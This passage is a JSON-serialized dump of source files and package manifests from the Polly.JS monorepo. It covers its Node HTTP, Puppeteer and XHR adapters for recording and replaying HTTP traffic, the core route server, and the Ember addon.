_defaultAgent: globalAgent },\n ...args.options\n };\n } else {\n args.options = {\n ...{ port: 80, protocol: 'http:' },\n ...args.options\n };\n }\n\n return args;\n }\n\n module.request = function _request() {\n const { options, callback } = parseArgs(...arguments);\n\n return request(options, callback);\n };\n\n module.get = function _get() {\n const { options, callback } = parseArgs(...arguments);\n\n return get(options, callback);\n };\n });\n }\n\n unpatchOverriddenMethods() {\n const modules = { http, https };\n\n Object.keys(modules).forEach((moduleName) => {\n const module = modules[moduleName];\n\n module.request = this[moduleName].request;\n module.get = this[moduleName].get;\n this[moduleName] = undefined;\n });\n }\n\n onRequest(pollyRequest) {\n const { req } = pollyRequest.requestArguments;\n\n if (req.aborted) {\n pollyRequest.abort();\n } else {\n pollyRequest[ABORT_HANDLER] = () => {\n if (!pollyRequest.aborted && (req.aborted || req.destroyed)) {\n pollyRequest.abort();\n }\n };\n\n req.once('abort', pollyRequest[ABORT_HANDLER]);\n req.once('close', pollyRequest[ABORT_HANDLER]);\n }\n }\n\n async onFetchResponse(pollyRequest) {\n const { parsedArguments } = pollyRequest.requestArguments;\n const { method, headers, body } = pollyRequest;\n const { options } = parsedArguments;\n\n const request = new this.NativeClientRequest({\n ...options,\n method,\n headers: { ...headers },\n ...urlToOptions(new URL(pollyRequest.url))\n });\n\n const chunks = this.getChunksFromBody(body, headers);\n\n const responsePromise = new Promise((resolve, reject) => {\n request.once('response', resolve);\n request.once('error', reject);\n request.once('timeout', reject);\n });\n\n // Write the request body\n chunks.forEach((chunk) => request.write(chunk));\n request.end();\n\n const response = await responsePromise;\n const responseBody = await new Promise((resolve, reject) => {\n const chunks = [];\n\n response.on('data', (chunk) => chunks.push(chunk));\n response.once('end', () =>\n resolve(this.getBodyFromChunks(chunks, response.headers))\n );\n response.once('error', reject);\n });\n\n return {\n headers: response.headers,\n statusCode: response.statusCode,\n body: responseBody.body,\n encoding: responseBody.encoding\n };\n }\n\n async onRespond(pollyRequest, error) {\n const { req, respond } = pollyRequest.requestArguments;\n const { statusCode, body, headers, encoding } = pollyRequest.response;\n\n if (pollyRequest[ABORT_HANDLER]) {\n req.off('abort', pollyRequest[ABORT_HANDLER]);\n req.off('close', pollyRequest[ABORT_HANDLER]);\n }\n\n if (pollyRequest.aborted) {\n // Even if the request has been aborted, we need to respond to the nock\n // request in order to resolve its awaiting promise.\n respond(null, [0, undefined, {}]);\n\n return;\n }\n\n if (error) {\n // If an error was received then forward it over to nock so it can\n // correctly handle it.\n respond(error);\n\n return;\n }\n\n const chunks = this.getChunksFromBody(body, headers, encoding);\n const stream = new ReadableStream();\n\n // Expose the response data as a stream of chunks since\n // it could contain encoded data which is needed\n // to be pushed to the response chunk by chunk.\n chunks.forEach((chunk) => stream.push(chunk));\n stream.push(null);\n\n // Create a promise that will resolve once the request\n // has been completed (including errored or aborted). This is needed so\n // that the deferred promise used by `polly.flush()` doesn't resolve before\n // the response was actually received.\n const requestFinishedPromise = new Promise((resolve) => {\n if (req.aborted) {\n resolve();\n } else {\n req.once('response', resolve);\n req.once('abort', resolve);\n req.once('error', resolve);\n }\n });\n\n respond(null, [statusCode, stream, headers]);\n\n await requestFinishedPromise;\n }\n\n getBodyFromChunks(chunks, headers) {\n // If content-encoding is set in the header then the body/content\n // should not be concatenated. Instead, the chunks should\n // be preserved as-is so that each chunk can be mocked individually\n if (isContentEncoded(headers)) {\n const encodedChunks = chunks.map((chunk) => {\n if (!Buffer.isBuffer(chunk)) {\n this.assert(\n 'content-encoded responses must all be binary buffers',\n typeof chunk === 'string'\n );\n chunk = Buffer.from(chunk);\n }\n\n return chunk.toString('base64');\n });\n\n return {\n encoding: 'base64',\n body: JSON.stringify(encodedChunks)\n };\n }\n\n const buffer = mergeChunks(chunks);\n const isBinaryBuffer = !isUtf8Representable(buffer);\n\n // The merged buffer can be one of two things:\n // 1. A binary buffer which then has to be recorded as a base64 string.\n // 2. A string buffer.\n return {\n encoding: isBinaryBuffer ? 'base64' : undefined,\n body: buffer.toString(isBinaryBuffer ? 'base64' : 'utf8')\n };\n }\n\n getChunksFromBody(body, headers, encoding) {\n if (!body) {\n return [];\n }\n\n if (Buffer.isBuffer(body)) {\n return [body];\n }\n\n // If content-encoding is set in the header then the body/content\n // is as an array of base64 strings\n if (isContentEncoded(headers)) {\n const encodedChunks = JSON.parse(body);\n\n return encodedChunks.map((chunk) => Buffer.from(chunk, encoding));\n }\n\n // The body can be one of two things:\n // 1. A base64 string which then means its binary data.\n // 2. A utf8 string which means a regular string.\n return [Buffer.from(body, encoding ? encoding : 'utf8')];\n }\n}\n", "packages\\@pollyjs\\adapter-puppeteer\\package.json": "{\n \"name\": \"@pollyjs/adapter-puppeteer\",\n \"version\": \"6.0.6\",\n \"description\": \"File system persister for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-adapter-puppeteer.js\",\n \"module\": \"dist/es/pollyjs-adapter-puppeteer.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/adapter-puppeteer\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"fs\",\n \"file\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"build:watch\": \"yarn build -w\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/adapter\": \"^6.0.6\",\n \"@pollyjs/utils\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"@pollyjs/core\": \"^6.0.6\",\n \"@pollyjs/persister-fs\": \"^6.0.6\",\n \"node-fetch\": \"^2.6.6\",\n \"puppeteer\": \"1.10.0\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\adapter-puppeteer\\src\\index.js": "import Adapter from '@pollyjs/adapter';\nimport { URL } from '@pollyjs/utils';\n\nconst LISTENERS = Symbol();\nconst PASSTHROUGH_PROMISES = Symbol();\nconst PASSTHROUGH_REQ_ID_QP = 'pollyjs_passthrough_req_id';\n\nexport default class PuppeteerAdapter extends Adapter {\n static get id() {\n return 'puppeteer';\n }\n\n get defaultOptions() {\n return {\n page: null,\n requestResourceTypes: ['xhr', 'fetch']\n };\n }\n\n constructor() {\n super(...arguments);\n\n this._requestsMapping = {\n passthroughs: new WeakMap(),\n pollyRequests: new WeakMap()\n };\n }\n\n onConnect() {\n const { page } = this.options;\n\n this[LISTENERS] = new Map();\n this[PASSTHROUGH_PROMISES] = new Map();\n this.assert(\n 'A puppeteer page instance is required.',\n !!(page && typeof page === 'object')\n );\n\n this.attachToPageEvents(page);\n }\n\n onDisconnect() {\n this[LISTENERS].forEach((_, target) =>\n this._callListenersWith('removeListener', target)\n );\n }\n\n attachToPageEvents(page) {\n const { requestResourceTypes } = this.options;\n\n this[LISTENERS].set(page, {\n request: async (request) => {\n if (requestResourceTypes.includes(request.resourceType())) {\n const url = request.url();\n const method = request.method();\n const headers = request.headers();\n\n // A CORS preflight request is a CORS request that checks to see\n // if the CORS protocol is understood.\n const isPreFlightReq =\n method === 'OPTIONS' &&\n !!headers['origin'] &&\n !!headers['access-control-request-method'];\n\n // Do not intercept requests with the Polly passthrough QP\n if (url.includes(PASSTHROUGH_REQ_ID_QP)) {\n const parsedUrl = new URL(url, true);\n\n // If this is a polly passthrough request\n // Get the associated promise object for the request id and set it\n // on the request.\n if (!isPreFlightReq) {\n this._requestsMapping.passthroughs.set(\n request,\n this[PASSTHROUGH_PROMISES].get(\n parsedUrl.query[PASSTHROUGH_REQ_ID_QP]\n )\n );\n }\n\n // Delete the query param to remove any pollyjs footprint\n delete parsedUrl.query[PASSTHROUGH_REQ_ID_QP];\n\n // Continue the request with the url override\n request.continue({ url: parsedUrl.toString() });\n } else if (isPreFlightReq) {\n // Do not intercept preflight requests\n request.continue();\n } else {\n this.handleRequest({\n headers,\n url,\n method,\n body: request.postData(),\n requestArguments: { request }\n });\n }\n } else {\n request.continue();\n }\n },\n requestfinished: (request) => {\n const response = request.response();\n const { passthroughs, pollyRequests } = this._requestsMapping;\n\n // Resolve the passthrough promise with the response if it exists\n if (passthroughs.has(request)) {\n passthroughs.get(request).resolve(response);\n passthroughs.delete(request);\n }\n\n // Resolve the deferred pollyRequest promise if it exists\n if (pollyRequests.has(request)) {\n pollyRequests.get(request).promise._resolve(response);\n pollyRequests.delete(request);\n }\n },\n requestfailed: (request) => {\n const error = request.failure();\n const { passthroughs, pollyRequests } = this._requestsMapping;\n\n // Reject the passthrough promise with the error object if it exists\n if (passthroughs.has(request)) {\n passthroughs.get(request).reject(error);\n passthroughs.delete(request);\n }\n\n // Reject the deferred pollyRequest promise with the error object if it exists\n if (pollyRequests.has(request)) {\n pollyRequests.get(request).promise._reject(error);\n pollyRequests.delete(request);\n }\n },\n close: () => this[LISTENERS].delete(page)\n });\n\n this._callListenersWith('prependListener', page);\n }\n\n onRequest(pollyRequest) {\n const { request } = pollyRequest.requestArguments;\n const { promise } = pollyRequest;\n\n // Override the deferred promise's resolve and reject to no-op since\n // we handle it manually in the `requestfinished` and `requestfailed` events.\n promise._resolve = promise.resolve;\n promise._reject = promise.reject;\n promise.resolve = promise.reject = () => {};\n\n /*\n Create an access point to the `pollyRequest` so it can be accessed from\n the emitted page events\n */\n this._requestsMapping.pollyRequests.set(request, pollyRequest);\n }\n\n async onFetchResponse(pollyRequest) {\n const { page } = this.options;\n const { id, order, url, method, headers, body } = pollyRequest;\n const requestId = `${this.polly.recordingId}:${id}:${order}`;\n const parsedUrl = new URL(url, true);\n\n parsedUrl.query[PASSTHROUGH_REQ_ID_QP] = requestId;\n\n try {\n const response = await new Promise((resolve, reject) => {\n this[PASSTHROUGH_PROMISES].set(requestId, { resolve, reject });\n\n // This gets evaluated within the browser's context, meaning that\n // this fetch call executes from within the browser.\n page.evaluate(\n new Function(\n 'url',\n 'method',\n 'headers',\n 'body',\n 'return fetch(url, { method, headers, body });'\n ),\n parsedUrl.toString(),\n method,\n headers,\n body\n );\n });\n\n return {\n statusCode: response.status(),\n headers: response.headers(),\n body: await response.text()\n };\n } finally {\n this[PASSTHROUGH_PROMISES].delete(requestId);\n }\n }\n\n async onRespond(pollyRequest, error) {\n const { request } = pollyRequest.requestArguments;\n const { response } = pollyRequest;\n\n if (error) {\n // If an error was returned then we force puppeteer to abort the current\n // request. This will emit the `requestfailed` page event and allow the end\n // user to handle the error.\n await request.abort();\n } else {\n await request.respond({\n status: response.statusCode,\n headers: response.headers,\n body: response.body\n });\n }\n }\n\n _callListenersWith(methodName, target) {\n if (this[LISTENERS].has(target)) {\n const listeners = this[LISTENERS].get(target);\n\n // puppeteer remove prependListener after v4.0.0, polyfill it if missing\n const prependListenerPolyfill = function (event, handler) {\n const all = this.emitter.all;\n const handlers = all.get(event);\n const added = handlers && handlers.unshift(handler);\n\n if (!added) {\n all.set(event, [handler]);\n }\n };\n\n for (const eventName in listeners) {\n const prependListener =\n target.prependListener || prependListenerPolyfill;\n const fn =\n methodName === 'prependListener'\n ? prependListener\n : target[methodName];\n\n fn.apply(target, [eventName, listeners[eventName]]);\n }\n }\n }\n}\n", "packages\\@pollyjs\\adapter-xhr\\package.json": "{\n \"name\": \"@pollyjs/adapter-xhr\",\n \"version\": \"6.0.6\",\n \"description\": \"XHR adapter for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-adapter-xhr.js\",\n \"module\": \"dist/es/pollyjs-adapter-xhr.js\",\n \"browser\": \"dist/umd/pollyjs-adapter-xhr.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/adapter-xhr\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"xhr\",\n \"adapter\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"build:watch\": \"yarn build -w\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@offirgolan/nise\": \"^4.1.0\",\n \"@pollyjs/adapter\": \"^6.0.6\",\n \"@pollyjs/utils\": \"^6.0.6\",\n \"to-arraybuffer\": \"^1.0.1\"\n },\n \"devDependencies\": {\n \"@pollyjs/core\": \"^6.0.6\",\n \"@pollyjs/persister-rest\": \"^6.0.6\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\adapter-xhr\\src\\index.js": "import fakeXhr from '@offirgolan/nise/lib/fake-xhr';\nimport Adapter from '@pollyjs/adapter';\nimport { cloneArrayBuffer, isBufferUtf8Representable } from '@pollyjs/utils';\nimport { Buffer } from 'buffer/';\nimport bufferToArrayBuffer from 'to-arraybuffer';\n\nimport resolveXhr from './utils/resolve-xhr';\nimport serializeResponseHeaders from './utils/serialize-response-headers';\n\nconst SEND = Symbol();\nconst ABORT_HANDLER = Symbol();\nconst stubbedXhrs = new WeakSet();\n\nconst BINARY_RESPONSE_TYPES = ['arraybuffer', 'blob'];\n\nexport default class XHRAdapter extends Adapter {\n static get id() {\n return 'xhr';\n }\n\n get defaultOptions() {\n return {\n context: global\n };\n }\n\n onConnect() {\n const { context } = this.options;\n const fakeXhrForContext = fakeXhr.fakeXMLHttpRequestFor(context);\n\n this.assert('XHR global not found.', fakeXhrForContext.xhr.supportsXHR);\n this.assert(\n 'Running concurrent XHR adapters is unsupported, stop any running Polly instances.',\n !stubbedXhrs.has(context.XMLHttpRequest)\n );\n\n this.NativeXMLHttpRequest = context.XMLHttpRequest;\n this.xhr = fakeXhrForContext.useFakeXMLHttpRequest();\n\n this.xhr.onCreate = (xhr) => {\n xhr[SEND] = xhr.send;\n xhr.send = (body) => {\n xhr[SEND](body);\n this.handleRequest({\n url: xhr.url,\n method: xhr.method || 'GET',\n headers: xhr.requestHeaders,\n requestArguments: { xhr },\n body\n });\n };\n };\n\n stubbedXhrs.add(context.XMLHttpRequest);\n }\n\n onDisconnect() {\n const { context } = this.options;\n\n stubbedXhrs.delete(context.XMLHttpRequest);\n this.xhr.restore();\n }\n\n onRequest(pollyRequest) {\n const { xhr } = pollyRequest.requestArguments;\n\n if (xhr.aborted) {\n pollyRequest.abort();\n } else {\n pollyRequest[ABORT_HANDLER] = () => pollyRequest.abort();\n xhr.addEventListener('abort', pollyRequest[ABORT_HANDLER]);\n }\n }\n\n async onFetchResponse(pollyRequest) {\n const { xhr: fakeXhr } = pollyRequest.requestArguments;\n const xhr = new this.NativeXMLHttpRequest();\n\n xhr.open(\n pollyRequest.method,\n pollyRequest.url,\n fakeXhr.async,\n fakeXhr.username,\n fakeXhr.password\n );\n\n xhr.async = fakeXhr.async;\n\n if (BINARY_RESPONSE_TYPES.includes(fakeXhr.responseType)) {\n xhr.responseType = 'arraybuffer';\n }\n\n if (fakeXhr.async) {\n xhr.timeout = fakeXhr.timeout;\n xhr.withCredentials = fakeXhr.withCredentials;\n }\n\n for (const h in pollyRequest.headers) {\n xhr.setRequestHeader(h, pollyRequest.headers[h]);\n }\n\n await resolveXhr(xhr, pollyRequest.body);\n\n let body = xhr.response;\n let isBinary = false;\n\n // responseType will either be `arraybuffer` or `text`\n if (xhr.responseType === 'arraybuffer') {\n let arrayBuffer = xhr.response;\n\n /*\n If the returned array buffer is not an instance of the global ArrayBuffer,\n clone it in order to pass Buffer.from's instanceof check. This can happen\n when using this adapter with a different context.\n\n https://github.com/feross/buffer/issues/289\n */\n if (\n arrayBuffer &&\n !(arrayBuffer instanceof ArrayBuffer) &&\n 'byteLength' in arrayBuffer\n ) {\n arrayBuffer = cloneArrayBuffer(arrayBuffer);\n }\n\n const buffer = Buffer.from(arrayBuffer);\n\n isBinary = !isBufferUtf8Representable(buffer);\n body = buffer.toString(isBinary ? 'base64' : 'utf8');\n }\n\n return {\n statusCode: xhr.status,\n headers: serializeResponseHeaders(xhr.getAllResponseHeaders()),\n encoding: isBinary ? 'base64' : undefined,\n body\n };\n }\n\n onRespond(pollyRequest, error) {\n const { xhr } = pollyRequest.requestArguments;\n\n if (pollyRequest[ABORT_HANDLER]) {\n xhr.removeEventListener('abort', pollyRequest[ABORT_HANDLER]);\n }\n\n if (pollyRequest.aborted) {\n return;\n } else if (error) {\n // If an error was received then call the `error` method on the fake XHR\n // request provided by nise which will simulate a network error on the request.\n // The onerror handler will be called and the status will be 0.\n // https://github.com/sinonjs/nise/blob/v1.4.10/lib/fake-xhr/index.js#L614-L621\n xhr.error();\n } else {\n const { statusCode, headers, body, encoding } = pollyRequest.response;\n let responseBody = body;\n\n if (encoding) {\n const buffer = Buffer.from(body, encoding);\n\n if (BINARY_RESPONSE_TYPES.includes(xhr.responseType)) {\n responseBody = bufferToArrayBuffer(buffer);\n } else {\n responseBody = buffer.toString('utf8');\n }\n }\n\n xhr.respond(statusCode, headers, responseBody);\n }\n }\n}\n", "packages\\@pollyjs\\cli\\package.json": "{\n \"name\": \"@pollyjs/cli\",\n \"version\": \"6.0.6\",\n \"description\": \"@pollyjs CLI\",\n \"files\": [\n \"bin\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/cli\",\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"cli\",\n \"server\",\n \"listen\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@pollyjs/node-server\": \"^6.0.6\",\n \"commander\": \"^8.3.0\"\n },\n \"devDependencies\": {\n \"npm-run-all\": \"^4.1.5\",\n \"rimraf\": \"^3.0.2\",\n \"rollup\": \"^1.14.6\"\n },\n \"bin\": {\n \"polly\": \"./bin/cli.js\"\n }\n}\n", "packages\\@pollyjs\\core\\package.json": "{\n \"name\": \"@pollyjs/core\",\n \"version\": \"6.0.6\",\n \"description\": \"Record, replay, and stub HTTP Interactions\",\n \"main\": \"dist/cjs/pollyjs-core.js\",\n \"module\": \"dist/es/pollyjs-core.js\",\n \"browser\": \"dist/umd/pollyjs-core.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/core\",\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"vcr\",\n \"record\",\n \"replay\",\n \"recorder\",\n \"test\",\n \"mock\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@pollyjs/utils\": \"^6.0.6\",\n \"@sindresorhus/fnv1a\": \"^2.0.1\",\n \"blueimp-md5\": \"^2.19.0\",\n \"fast-json-stable-stringify\": \"^2.1.0\",\n \"is-absolute-url\": \"^3.0.3\",\n \"lodash-es\": \"^4.17.21\",\n \"loglevel\": \"^1.8.0\",\n \"route-recognizer\": \"^0.3.4\",\n \"slugify\": \"^1.6.3\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter\": \"^6.0.6\",\n \"@pollyjs/persister\": \"^6.0.6\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\core\\src\\index.js": "export { default as Polly } from './polly';\nexport { default as Timing } from './utils/timing';\n\nexport { default as setupQunit } from './test-helpers/qunit';\nexport { default as setupMocha } from './test-helpers/mocha';\n", "packages\\@pollyjs\\core\\src\\server\\index.js": "import RouteRecognizer from 'route-recognizer';\nimport castArray from 'lodash-es/castArray';\nimport { HTTP_METHODS, URL, assert, timeout, buildUrl } from '@pollyjs/utils';\n\nimport Route from './route';\nimport Handler from './handler';\nimport Middleware from './middleware';\n\nconst HOST = Symbol();\nconst NAMESPACES = Symbol();\nconst REGISTRY = Symbol();\nconst MIDDLEWARE = Symbol();\nconst HANDLERS = Symbol();\n\nconst CHARS = {\n SLASH: '/',\n STAR: '*',\n COLON: ':'\n};\n\nconst { keys } = Object;\n\nfunction parseUrl(url) {\n const parsedUrl = new URL(url);\n /*\n Use the full origin (http://hostname:port) if the host exists. If there\n is no host, URL.origin returns \"null\" (null as a string) so set host to '/'\n */\n const host = parsedUrl.host ? parsedUrl.origin : CHARS.SLASH;\n const path = parsedUrl.pathname || CHARS.SLASH;\n\n return { host, path };\n}\n\nexport default class Server {\n constructor() {\n this[HOST] = '';\n this[REGISTRY] = {};\n this[NAMESPACES] = [];\n this[MIDDLEWARE] = [];\n }\n\n host(path, callback) {\n const host = this[HOST];\n\n assert(`[Server] A host cannot be specified within another host.`, !host);\n\n this[HOST] = path;\n callback(this);\n this[HOST] = host;\n }\n\n namespace(path, callback) {\n const namespaces = this[NAMESPACES];\n\n this[NAMESPACES] = [...namespaces, path];\n callback(this);\n this[NAMESPACES] = namespaces;\n }\n\n timeout() {\n return timeout(...arguments);\n }\n\n get() {\n return this._register('GET', ...arguments);\n }\n\n put() {\n return this._register('PUT', ...arguments);\n }\n\n post() {\n return this._register('POST', ...arguments);\n }\n\n delete() {\n return this._register('DELETE', ...arguments);\n }\n\n patch() {\n return this._register('PATCH', ...arguments);\n }\n\n merge() {\n return this._register('MERGE', ...arguments);\n }\n\n head() {\n return this._register('HEAD', ...arguments);\n }\n\n options() {\n return this._register('OPTIONS', ...arguments);\n }\n\n any() {\n return this._registerMiddleware(...arguments);\n }\n\n lookup(method, url) {\n return new Route(this._recognize(method, url), this._lookupMiddleware(url));\n }\n\n _lookupMiddleware(url) {\n const { host, path } = parseUrl(url);\n\n return this[MIDDLEWARE].map((m) => m.match(host, path)).filter(Boolean);\n }\n\n _register(method, routes) {\n const handler = new Handler();\n\n castArray(routes).forEach((route) => {\n const { host, path } = parseUrl(this._buildUrl(route));\n const registry = this._registryForHost(host);\n const name = this._nameForPath(path);\n const router = registry[method.toUpperCase()];\n\n if (router[HANDLERS].has(name)) {\n router[HANDLERS].get(name).push(handler);\n } else {\n router[HANDLERS].set(name, [handler]);\n router.add([{ path, handler: router[HANDLERS].get(name) }]);\n }\n });\n\n return handler;\n }\n\n _registerMiddleware(routes) {\n const handler = new Handler();\n const pathsByHost = {};\n\n castArray(routes).forEach((route) => {\n /*\n If the route is a '*' or '' and there is no host or namespace\n specified, treat the middleware as global so it will match all routes.\n */\n if (\n (!route || route === CHARS.STAR) &&\n !this[HOST] &&\n this[NAMESPACES].length === 0\n ) {\n this[MIDDLEWARE].push(new Middleware({ global: true, handler }));\n } else {\n const { host, path } = parseUrl(this._buildUrl(route));\n\n pathsByHost[host] = pathsByHost[host] || [];\n pathsByHost[host].push(path);\n }\n });\n\n keys(pathsByHost).forEach((host) => {\n this[MIDDLEWARE].push(\n new Middleware({ host, paths: pathsByHost[host], handler })\n );\n });\n\n return handler;\n }\n\n _recognize(method, url) {\n const { host, path } = parseUrl(url);\n const registry = this._registryForHost(host);\n\n return registry[method.toUpperCase()].recognize(path);\n }\n\n _buildUrl(path) {\n return buildUrl(this[HOST], ...this[NAMESPACES], path);\n }\n\n /**\n * Converts a url path into a name used to combine route handlers by\n * normalizing dynamic and star segments\n * @param {String} path\n * @returns {String}\n */\n _nameForPath(path = '') {\n const name = path\n .split(CHARS.SLASH)\n .map((segment) => {\n switch (segment.charAt(0)) {\n // If this is a dynamic segment (e.g. :id), then just return `:`\n // since /path/:id is the same as /path/:uuid\n case CHARS.COLON:\n return CHARS.COLON;\n // If this is a star segment (e.g. *path), then just return `*`\n // since /path/*path is the same as /path/*all\n case CHARS.STAR:\n return CHARS.STAR;\n default:\n return segment;\n }\n })\n .join(CHARS.SLASH);\n\n // Remove trailing slash, if we result with an empty string, return a slash\n return name.replace(/\\/$/, '') || CHARS.SLASH;\n }\n\n _registryForHost(host) {\n if (!this[REGISTRY][host]) {\n this[REGISTRY][host] = HTTP_METHODS.reduce((acc, method) => {\n acc[method] = new RouteRecognizer();\n acc[method][HANDLERS] = new Map();\n\n return acc;\n }, {});\n }\n\n return this[REGISTRY][host];\n }\n}\n", "packages\\@pollyjs\\core\\tests\\unit\\index-test.js": "import * as PollyExports from '../../src';\n\ndescribe('Unit | Index', function () {\n it('should export all the necessary modules', function () {\n ['Polly', 'Timing', 'setupQunit', 'setupMocha'].forEach((name) => {\n expect(PollyExports[name]).to.be.ok;\n });\n });\n});\n", "packages\\@pollyjs\\ember\\index.js": "/* eslint-env node */\n\n'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst { registerExpressAPI, Defaults } = require('@pollyjs/node-server');\nconst parseArgs = require('minimist');\n\nconst root = process.cwd();\n\nfunction determineEnv() {\n if (process.env.EMBER_ENV) {\n return process.env.EMBER_ENV;\n }\n\n let args = parseArgs(process.argv);\n let env = args.e || args.env || args.environment;\n\n // Is it \"ember b -prod\" or \"ember build --prod\" command?\n if (\n !env &&\n (process.argv.indexOf('-prod') > -1 || process.argv.indexOf('--prod') > -1)\n ) {\n env = 'production';\n }\n\n // Is it \"ember test\" or \"ember t\" command without explicit env specified?\n if (\n !env &&\n (process.argv.indexOf('test') > -1 || process.argv.indexOf('t') > -1)\n ) {\n env = 'test';\n }\n\n return env || 'development';\n}\n\nmodule.exports = {\n name: require('./package').name,\n _config: null,\n\n init() {\n // see: https://github.com/ember-cli/ember-cli/blob/725e129e62bccbf21af55b21180edb8966781f53/lib/models/addon.js#L258\n this._super.init && this._super.init.apply(this, arguments);\n\n const env = determineEnv();\n\n this._config = this._pollyConfig(env);\n },\n\n treeForAddon() {\n if (!this._config.enabled) {\n return;\n }\n\n return this._super.treeForAddon.apply(this, arguments);\n },\n\n contentFor(name) {\n if (name !== 'app-prefix' || !this._config.enabled) {\n return;\n }\n\n return `\n (function() {\n 'use strict';\n require('@pollyjs/ember/-private/preconfigure');\n })();\n `;\n },\n\n _pollyConfig(env) {\n // defaults\n const config = {\n enabled: env !== 'production',\n server: {}\n };\n\n // NOTE: this is because we cannot assume `this.project` is always set.\n // If unavailable, we default to process.cwd (root) to determine the project root.\n // See: https://github.com/Netflix/pollyjs/issues/276\n const projectRoot =\n this.project && this.project.root ? this.project.root : root;\n const configPath = path.join(projectRoot, 'config', 'polly.js');\n\n if (fs.existsSync(configPath)) {\n const configGenerator = require(configPath);\n\n Object.assign(config, configGenerator(env));\n }\n\n config.server.recordingsDir = path.join(\n projectRoot,\n config.server.recordingsDir || Defaults.recordingsDir\n );\n\n return config;\n },\n\n serverMiddleware(startOptions) {\n this.testemMiddleware(startOptions.app);\n },\n\n testemMiddleware(app) {\n if (this._config.enabled) {\n registerExpressAPI(app, this._config.server);\n }\n }\n};\n", "packages\\@pollyjs\\ember\\package.json": "{\n \"name\": \"@pollyjs/ember\",\n \"version\": \"6.0.6\",\n \"description\": \"Use @pollyjs in your Ember-CLI application\",\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"test\",\n \"ember-addon\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/ember\",\n \"license\": \"Apache-2.0\",\n \"directories\": {\n \"doc\": \"doc\",\n \"test\": \"tests\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"ember build\",\n \"start\": \"ember serve\",\n \"test\": \"ember test ci --test-port=7300\",\n \"clean\": \"rimraf dist tmp\"\n },\n \"dependencies\": {\n \"ember-auto-import\": \"^2.2.4\",\n \"ember-cli-babel\": \"^7.26.6\",\n \"minimist\": \"^1.2.5\"\n },\n \"peerDependencies\": {\n \"@pollyjs/adapter-fetch\": \"^6.0.0\",\n \"@pollyjs/adapter-xhr\": \"^6.0.0\",\n \"@pollyjs/core\": \"^6.0.0\",\n \"@pollyjs/node-server\": \"^6.0.0\",\n \"@pollyjs/persister-local-storage\": \"^6.0.0\",\n \"@pollyjs/persister-rest\": \"^6.0.0\"\n },\n \"devDependencies\": {\n \"@babel/eslint-parser\": \"^7.16.3\",\n \"@ember/optional-features\": \"^2.0.0\",\n \"@ember/test-helpers\": \"^2.4.2\",\n \"@embroider/test-setup\": \"^0.43.5\",\n \"@glimmer/component\": 